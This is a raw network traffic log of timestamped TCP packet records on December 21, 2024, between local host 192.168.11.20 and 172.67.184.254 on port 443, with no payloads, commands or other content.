Dec 21, 2024 19:24:53.931024075 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.931024075 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.931121111 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.931121111 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.931170940 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.931170940 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.931219101 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.931219101 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.931267977 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.931267977 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.931365967 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.931365967 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.931415081 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.931463957 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.931463957 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.931463957 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.931564093 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.931564093 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.931612968 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.931710958 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.931710958 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.931710958 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.931715965 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.931808949 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.931808949 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.931859016 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.931859016 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.931906939 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.931906939 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.931957006 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.931957006 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.932054043 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.932054043 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.932104111 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.932104111 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.932152033 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.932200909 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.932250023 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.932250023 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.932298899 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.932298899 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.932396889 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.932396889 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.932396889 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.932495117 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.932495117 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.932543993 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.932543993 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.932593107 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.932641983 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.932641983 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.932641983 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.932739973 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.932739973 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.932867050 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.975428104 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.186238050 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:54.186424971 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.610318899 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:54.610589027 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.837208986 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.837258101 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:54.837276936 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:54.837614059 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.837667942 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:54.837701082 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:54.837711096 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:54.837872028 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.837872028 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.837872028 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.837917089 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:54.837987900 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.838013887 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:54.838031054 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:54.838059902 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.838059902 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.838082075 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:54.838156939 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.838157892 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.838176012 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:54.838195086 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:54.838268042 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.838268042 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.838299036 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:54.838315964 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:54.838325024 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:54.838344097 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.838345051 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.838345051 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.838365078 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:54.838382959 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:54.838397026 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:54.838413000 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.838413000 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.838413000 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.838429928 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:54.838440895 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:54.838453054 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:54.838466883 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:54.838485003 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.838485003 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.838485003 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.838501930 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:54.838515997 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:54.838527918 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:54.838543892 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.838593006 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.838593960 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.838617086 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:54.838644981 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.838644981 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.838659048 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:54.838736057 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.838737011 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.838784933 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.838784933 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.838833094 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.838850975 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:54.838881969 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.838932037 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.838932037 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.838954926 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:54.839029074 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.839029074 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.839077950 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.839078903 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.839127064 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.839176893 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.839176893 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.839176893 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.839205980 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:54.839248896 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.839298964 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.839298964 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.839346886 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.839396000 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.839446068 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.839447021 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.839447021 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.839447021 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.839497089 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.839497089 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.839543104 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.839543104 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.839597940 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:54.839641094 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.839642048 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.839740038 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.839740038 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.839766979 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:54.839806080 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.839807034 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.839855909 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.839855909 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.839904070 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.839904070 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.840003014 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.840003014 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.840051889 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.840051889 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.840100050 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.840101004 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.840148926 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.840150118 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.840198040 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.840198040 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.840220928 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:54.840269089 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.840317965 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.840317965 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.840367079 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.840416908 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.840416908 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.840466022 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.840466022 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.840513945 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.840513945 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.840527058 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:54.840563059 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.840563059 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.840662003 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.840662003 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.840662003 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.840759993 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.840760946 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.840760946 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.840794086 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:54.840835094 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.840835094 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.840883970 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.840883970 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.840931892 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.840981960 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.841032028 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.841032028 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.841130018 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.841130018 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.841177940 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.841177940 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.841227055 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.841228008 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.841275930 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.841299057 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:54.841337919 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.841337919 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.841384888 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.841439009 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.841439962 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.841489077 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.841489077 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.841536999 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.841537952 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.841586113 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.841686010 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.841686010 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.841686010 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.841783047 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.841783047 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.841809034 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:54.841847897 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.841847897 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.841896057 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.841896057 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.841944933 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.841993093 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.842042923 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.842092037 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.842142105 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.842142105 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.842190027 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.842240095 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.842292070 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.842292070 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.842292070 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.842329979 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:54.842363119 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.842363119 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.842410088 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.842459917 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.842509031 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.842561007 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.842561007 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.842561007 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.842561007 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.842607021 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.842607021 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.842705011 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.842705965 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.842753887 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.842803955 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.842803955 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.842850924 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.842905998 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.842906952 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.842906952 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.842948914 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.842999935 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.842999935 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.843048096 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.843048096 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.843147993 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.843147993 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.843147993 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.843194008 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.843245029 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.843245029 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.843245029 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.843291998 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.843391895 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.843391895 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.843431950 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:54.843466997 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.843517065 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.843517065 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.844630957 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.844630957 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.844630957 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.844630957 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.844630957 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.844630957 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.844630957 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.844630957 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.844696045 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.844696045 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.844696045 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.844696045 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.844696045 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.844696045 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.844696045 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.844696045 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.844738960 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.844738960 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:54.845066071 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.050244093 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:55.050477982 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.240176916 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.240246058 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:55.240284920 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:55.240317106 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:55.240458012 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.240502119 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.240502119 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.240592957 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:55.240614891 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.240617990 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:55.240614891 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.240674019 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:55.240717888 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:55.240741968 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.240741968 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.240741968 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.240742922 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.240767956 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:55.240791082 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:55.240807056 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.240807056 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.240854979 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.240905046 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.240905046 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.240923882 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:55.241005898 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.241005898 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.241055012 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.241055012 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.241103888 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.241103888 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.241103888 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.241152048 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.241250992 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.241250992 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.241251945 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.241348982 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.241348982 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.241399050 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.241399050 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.241460085 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.241460085 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.241506100 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.241590023 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:55.241604090 CET	49766	443	192.168.11.20	172.67.184.254
